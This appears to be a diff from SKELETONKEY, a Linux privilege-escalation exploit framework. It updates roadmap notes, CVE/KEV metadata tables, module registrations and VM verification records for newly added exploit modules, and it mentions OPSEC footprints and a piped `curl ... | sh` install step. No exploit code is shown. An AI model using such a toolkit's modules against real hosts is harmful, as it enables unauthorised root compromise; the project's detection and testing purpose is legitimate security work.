static-musl flavors).
|
||||||
|
|
||||||
Reliability + accuracy work in v0.6.0:
|
Reliability + accuracy work in v0.7.x:
|
||||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||||
to every module via `ctx->host`.
|
to every module via `ctx->host`.
|
||||||
@@ -212,21 +253,30 @@ Reliability + accuracy work in v0.6.0:
|
|||||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||||
that boots known-vulnerable kernels (stock distro + mainline via
|
that boots known-vulnerable kernels (stock distro + mainline via
|
||||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||||
match/MISMATCH/PRECOND_FAIL as JSON. 22 modules confirmed end-to-end.
|
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||||
records. Paste-into-ticket ready.
|
records. Paste-into-ticket ready.
|
||||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||||
CISA KEV catalog + NVD CWE; 10 of 26 modules cover KEV-listed CVEs.
|
CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs.
|
||||||
- **119 detection rules** across auditd / sigma / yara / falco; one
|
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||||
command exports the corpus to your SIEM.
|
command exports the corpus to your SIEM.
|
||||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||||
|
|
||||||
Not yet verified (4 of 26 CVEs): `vmwgfx` (VMware-guest only),
|
Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
|
||||||
`dirty_cow` (needs ≤ 4.4 kernel), `dirtydecrypt` + `fragnesia` (need
|
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||||
Linux 7.0 — not shipping yet). Rationale in
|
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||||
|
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||||
|
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||||
|
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||||
|
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||||
|
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||||
|
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
||||||
|
deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
|
||||||
|
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
||||||
|
VM-verified). Rationale in
|
||||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||||
|
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||||
|
|||||||
+77
@@ -272,6 +272,83 @@ The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
|||||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||||
full-chain work is meaningful.
|
full-chain work is meaningful.
|
||||||
|
|
||||||
|
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||||
|
|
||||||
|
The largest single jump in trust signal: every claim in the corpus is
|
||||||
|
now backed by either a unit test (88-test harness) or a real-VM
|
||||||
|
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||||
|
|
||||||
|
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||||
|
known-vulnerable kernels (stock distro + mainline via
|
||||||
|
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||||
|
module, emits JSONL verification records.
|
||||||
|
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||||
|
field downloads vanilla mainline .debs from
|
||||||
|
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||||
|
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||||
|
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||||
|
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||||
|
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||||
|
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||||
|
`--scan --json`.
|
||||||
|
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||||
|
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||||
|
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||||
|
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||||
|
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||||
|
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||||
|
observables, network, persistence, cleanup). The inverse of the
|
||||||
|
detection rules.
|
||||||
|
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||||
|
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||||
|
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||||
|
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||||
|
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||||
|
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||||
|
intentional skips for the 3 modules without applicable rules
|
||||||
|
in each format (entrybleed: pure timing side-channel;
|
||||||
|
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||||
|
artifacts).
|
||||||
|
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||||
|
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||||
|
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||||
|
+ Debian security-tracker drift.
|
||||||
|
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||||
|
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||||
|
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||||
|
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||||
|
bugs), `x86_64` (1 — entrybleed by physics),
|
||||||
|
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||||
|
exploit hasn't been empirically confirmed). Honest labels until
|
||||||
|
an arm64 verification sweep promotes them.
|
||||||
|
- [x] **Marketing-grade landing page** — animated hero with
|
||||||
|
`--explain` showcase, bento-grid features, KEV / verification
|
||||||
|
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||||
|
|
||||||
|
**Open follow-ups from v0.7.x (not yet started):**
|
||||||
|
|
||||||
|
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||||
|
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||||
|
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||||
|
promote each to `any` where it works.
|
||||||
|
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||||
|
KQL queries per top-10 KEV-listed modules, embedded in
|
||||||
|
`docs/DETECTION_PLAYBOOK.md`.
|
||||||
|
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||||
|
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||||
|
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||||
|
verification on Debian 12.
|
||||||
|
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||||
|
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||||
|
verification against git.kernel.org/linus.
|
||||||
|
|
||||||
|
**Wait-for-upstream blockers (out of our control):**
|
||||||
|
|
||||||
|
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||||
|
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||||
|
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||||
|
which isn't shipping as any distro kernel yet.
|
||||||
|
|
||||||
## Non-goals
|
## Non-goals
|
||||||
|
|
||||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||||
|
|||||||
+115
-3
@@ -28,6 +28,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = false,
|
.in_kev = false,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2018-14634",
|
||||||
|
.cwe = "CWE-190",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = true,
|
||||||
|
.kev_date_added = "2026-01-26",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2019-13272",
|
.cve = "CVE-2019-13272",
|
||||||
.cwe = NULL,
|
.cwe = NULL,
|
||||||
@@ -36,6 +44,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = true,
|
.in_kev = true,
|
||||||
.kev_date_added = "2021-12-10",
|
.kev_date_added = "2021-12-10",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2019-14287",
|
||||||
|
.cwe = "CWE-755",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2020-14386",
|
.cve = "CVE-2020-14386",
|
||||||
.cwe = "CWE-250",
|
.cwe = "CWE-250",
|
||||||
@@ -44,6 +60,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = false,
|
.in_kev = false,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2020-29661",
|
||||||
|
.cwe = "CWE-416",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2021-22555",
|
.cve = "CVE-2021-22555",
|
||||||
.cwe = "CWE-787",
|
.cwe = "CWE-787",
|
||||||
@@ -97,8 +121,8 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.cwe = "CWE-287",
|
.cwe = "CWE-287",
|
||||||
.attack_technique = "T1611",
|
.attack_technique = "T1611",
|
||||||
.attack_subtechnique = NULL,
|
.attack_subtechnique = NULL,
|
||||||
.in_kev = false,
|
.in_kev = true,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "2026-06-02",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2022-0847",
|
.cve = "CVE-2022-0847",
|
||||||
@@ -196,6 +220,54 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = true,
|
.in_kev = true,
|
||||||
.kev_date_added = "2024-05-30",
|
.kev_date_added = "2024-05-30",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2024-26581",
|
||||||
|
.cwe = NULL,
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2024-50264",
|
||||||
|
.cwe = "CWE-416",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2025-32462",
|
||||||
|
.cwe = "CWE-863",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2025-32463",
|
||||||
|
.cwe = "CWE-829",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = true,
|
||||||
|
.kev_date_added = "2025-09-29",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2025-6019",
|
||||||
|
.cwe = "CWE-250",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-23111",
|
||||||
|
.cwe = "CWE-416",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2026-31635",
|
.cve = "CVE-2026-31635",
|
||||||
.cwe = "CWE-130",
|
.cwe = "CWE-130",
|
||||||
@@ -213,13 +285,53 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
.cve = "CVE-2026-46300",
|
.cve = "CVE-2026-43494",
|
||||||
.cwe = NULL,
|
.cwe = NULL,
|
||||||
.attack_technique = "T1068",
|
.attack_technique = "T1068",
|
||||||
.attack_subtechnique = NULL,
|
.attack_subtechnique = NULL,
|
||||||
.in_kev = false,
|
.in_kev = false,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-43499",
|
||||||
|
.cwe = "CWE-416",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-46242",
|
||||||
|
.cwe = "CWE-416",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-46243",
|
||||||
|
.cwe = "CWE-20",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-46300",
|
||||||
|
.cwe = "CWE-787",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2026-46333",
|
||||||
|
.cwe = "CWE-269",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t cve_metadata_table_len =
|
const size_t cve_metadata_table_len =
|
||||||
|
|||||||
@@ -119,6 +119,31 @@ struct skeletonkey_module {
|
|||||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||||
* tools/refresh-cve-metadata.py. */
|
* tools/refresh-cve-metadata.py. */
|
||||||
const char *opsec_notes;
|
const char *opsec_notes;
|
||||||
|
|
||||||
|
/* Architecture support for the exploit() body. detect() works on
|
||||||
|
* any Linux arch (it just consults ctx->host); the question this
|
||||||
|
* field answers is: if this module says VULNERABLE, will the
|
||||||
|
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||||
|
*
|
||||||
|
* "any" — userspace bug or arch-agnostic kernel
|
||||||
|
* primitive (pwnkit, sudo*, pack2theroot,
|
||||||
|
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||||
|
* bugs that use msg_msg sprays + structural
|
||||||
|
* escapes).
|
||||||
|
* "x86_64" — strictly x86-only (entrybleed needs
|
||||||
|
* prefetchnta + KPTI, which doesn't apply
|
||||||
|
* to ARM's TTBR_EL0/EL1 model).
|
||||||
|
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||||
|
* arm64 but hasn't been verified on a real
|
||||||
|
* arm64 host yet (e.g. copy_fail_family
|
||||||
|
* assumes some x86_64 struct offsets;
|
||||||
|
* --full-chain finisher uses x86_64-style
|
||||||
|
* kernel ROP gadgets).
|
||||||
|
*
|
||||||
|
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||||
|
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||||
|
* in --list (ARCH column) and --module-info. */
|
||||||
|
const char *arch_support;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif /* SKELETONKEY_MODULE_H */
|
#endif /* SKELETONKEY_MODULE_H */
|
||||||
|
|||||||
@@ -47,6 +47,20 @@ void skeletonkey_register_vmwgfx(void);
|
|||||||
void skeletonkey_register_dirtydecrypt(void);
|
void skeletonkey_register_dirtydecrypt(void);
|
||||||
void skeletonkey_register_fragnesia(void);
|
void skeletonkey_register_fragnesia(void);
|
||||||
void skeletonkey_register_pack2theroot(void);
|
void skeletonkey_register_pack2theroot(void);
|
||||||
|
void skeletonkey_register_sudo_chwoot(void);
|
||||||
|
void skeletonkey_register_udisks_libblockdev(void);
|
||||||
|
void skeletonkey_register_pintheft(void);
|
||||||
|
void skeletonkey_register_mutagen_astronomy(void);
|
||||||
|
void skeletonkey_register_sudo_runas_neg1(void);
|
||||||
|
void skeletonkey_register_tioscpgrp(void);
|
||||||
|
void skeletonkey_register_vsock_uaf(void);
|
||||||
|
void skeletonkey_register_nft_pipapo(void);
|
||||||
|
void skeletonkey_register_ptrace_pidfd(void);
|
||||||
|
void skeletonkey_register_sudo_host(void);
|
||||||
|
void skeletonkey_register_cifswitch(void);
|
||||||
|
void skeletonkey_register_nft_catchall(void);
|
||||||
|
void skeletonkey_register_bad_epoll(void);
|
||||||
|
void skeletonkey_register_ghostlock(void);
|
||||||
|
|
||||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||||
* Single source of truth so the main binary and the test binary stay
|
* Single source of truth so the main binary and the test binary stay
|
||||||
|
|||||||
@@ -43,4 +43,18 @@ void skeletonkey_register_all_modules(void)
|
|||||||
skeletonkey_register_dirtydecrypt();
|
skeletonkey_register_dirtydecrypt();
|
||||||
skeletonkey_register_fragnesia();
|
skeletonkey_register_fragnesia();
|
||||||
skeletonkey_register_pack2theroot();
|
skeletonkey_register_pack2theroot();
|
||||||
|
skeletonkey_register_sudo_chwoot();
|
||||||
|
skeletonkey_register_udisks_libblockdev();
|
||||||
|
skeletonkey_register_pintheft();
|
||||||
|
skeletonkey_register_mutagen_astronomy();
|
||||||
|
skeletonkey_register_sudo_runas_neg1();
|
||||||
|
skeletonkey_register_tioscpgrp();
|
||||||
|
skeletonkey_register_vsock_uaf();
|
||||||
|
skeletonkey_register_nft_pipapo();
|
||||||
|
skeletonkey_register_ptrace_pidfd();
|
||||||
|
skeletonkey_register_sudo_host();
|
||||||
|
skeletonkey_register_cifswitch();
|
||||||
|
skeletonkey_register_nft_catchall();
|
||||||
|
skeletonkey_register_bad_epoll();
|
||||||
|
skeletonkey_register_ghostlock();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -76,6 +76,16 @@ const struct verification_record verifications[] = {
|
|||||||
.actual_detect = "OK",
|
.actual_detect = "OK",
|
||||||
.status = "match",
|
.status = "match",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.module = "dirtydecrypt",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "6.19.7-061907-generic",
|
||||||
|
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||||
|
.vm_box = "generic/ubuntu2204",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.module = "entrybleed",
|
.module = "entrybleed",
|
||||||
.verified_at = "2026-05-23",
|
.verified_at = "2026-05-23",
|
||||||
@@ -136,6 +146,16 @@ const struct verification_record verifications[] = {
|
|||||||
.actual_detect = "VULNERABLE",
|
.actual_detect = "VULNERABLE",
|
||||||
.status = "match",
|
.status = "match",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.module = "nft_pipapo",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "5.15.5-051505-generic",
|
||||||
|
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||||
|
.vm_box = "generic/ubuntu2204",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.module = "nft_set_uaf",
|
.module = "nft_set_uaf",
|
||||||
.verified_at = "2026-05-23",
|
.verified_at = "2026-05-23",
|
||||||
@@ -216,6 +236,26 @@ const struct verification_record verifications[] = {
|
|||||||
.actual_detect = "VULNERABLE",
|
.actual_detect = "VULNERABLE",
|
||||||
.status = "match",
|
.status = "match",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.module = "sudo_chwoot",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "5.15.0-91-generic",
|
||||||
|
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||||
|
.vm_box = "generic/ubuntu2204",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.module = "sudo_runas_neg1",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "4.15.0-213-generic",
|
||||||
|
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||||
|
.vm_box = "generic/ubuntu1804",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
.module = "sudo_samedit",
|
.module = "sudo_samedit",
|
||||||
.verified_at = "2026-05-23",
|
.verified_at = "2026-05-23",
|
||||||
@@ -236,6 +276,26 @@ const struct verification_record verifications[] = {
|
|||||||
.actual_detect = "PRECOND_FAIL",
|
.actual_detect = "PRECOND_FAIL",
|
||||||
.status = "match",
|
.status = "match",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.module = "tioscpgrp",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "5.4.0-26-generic",
|
||||||
|
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||||
|
.vm_box = "generic/ubuntu2004",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
.module = "udisks_libblockdev",
|
||||||
|
.verified_at = "2026-05-24",
|
||||||
|
.host_kernel = "6.1.0-17-amd64",
|
||||||
|
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||||
|
.vm_box = "generic/debian12",
|
||||||
|
.expect_detect = "VULNERABLE",
|
||||||
|
.actual_detect = "VULNERABLE",
|
||||||
|
.status = "match",
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t verifications_count =
|
const size_t verifications_count =
|
||||||
|
|||||||
+129
-3
@@ -17,6 +17,15 @@
|
|||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
"kev_date_added": ""
|
"kev_date_added": ""
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2018-14634",
|
||||||
|
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||||
|
"cwe": "CWE-190",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": true,
|
||||||
|
"kev_date_added": "2026-01-26"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2019-13272",
|
"cve": "CVE-2019-13272",
|
||||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||||
@@ -26,6 +35,15 @@
|
|||||||
"in_kev": true,
|
"in_kev": true,
|
||||||
"kev_date_added": "2021-12-10"
|
"kev_date_added": "2021-12-10"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2019-14287",
|
||||||
|
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||||
|
"cwe": "CWE-755",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2020-14386",
|
"cve": "CVE-2020-14386",
|
||||||
"module_dir": "af_packet2_cve_2020_14386",
|
"module_dir": "af_packet2_cve_2020_14386",
|
||||||
@@ -35,6 +53,15 @@
|
|||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
"kev_date_added": ""
|
"kev_date_added": ""
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2020-29661",
|
||||||
|
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||||
|
"cwe": "CWE-416",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2021-22555",
|
"cve": "CVE-2021-22555",
|
||||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||||
@@ -95,8 +122,8 @@
|
|||||||
"cwe": "CWE-287",
|
"cwe": "CWE-287",
|
||||||
"attack_technique": "T1611",
|
"attack_technique": "T1611",
|
||||||
"attack_subtechnique": null,
|
"attack_subtechnique": null,
|
||||||
"in_kev": false,
|
"in_kev": true,
|
||||||
"kev_date_added": ""
|
"kev_date_added": "2026-06-02"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"cve": "CVE-2022-0847",
|
"cve": "CVE-2022-0847",
|
||||||
@@ -206,6 +233,60 @@
|
|||||||
"in_kev": true,
|
"in_kev": true,
|
||||||
"kev_date_added": "2024-05-30"
|
"kev_date_added": "2024-05-30"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2024-26581",
|
||||||
|
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||||
|
"cwe": null,
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2024-50264",
|
||||||
|
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||||
|
"cwe": "CWE-416",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2025-32462",
|
||||||
|
"module_dir": "sudo_host_cve_2025_32462",
|
||||||
|
"cwe": "CWE-863",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2025-32463",
|
||||||
|
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||||
|
"cwe": "CWE-829",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": true,
|
||||||
|
"kev_date_added": "2025-09-29"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2025-6019",
|
||||||
|
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||||
|
"cwe": "CWE-250",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2026-23111",
|
||||||
|
"module_dir": "nft_catchall_cve_2026_23111",
|
||||||
|
"cwe": "CWE-416",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
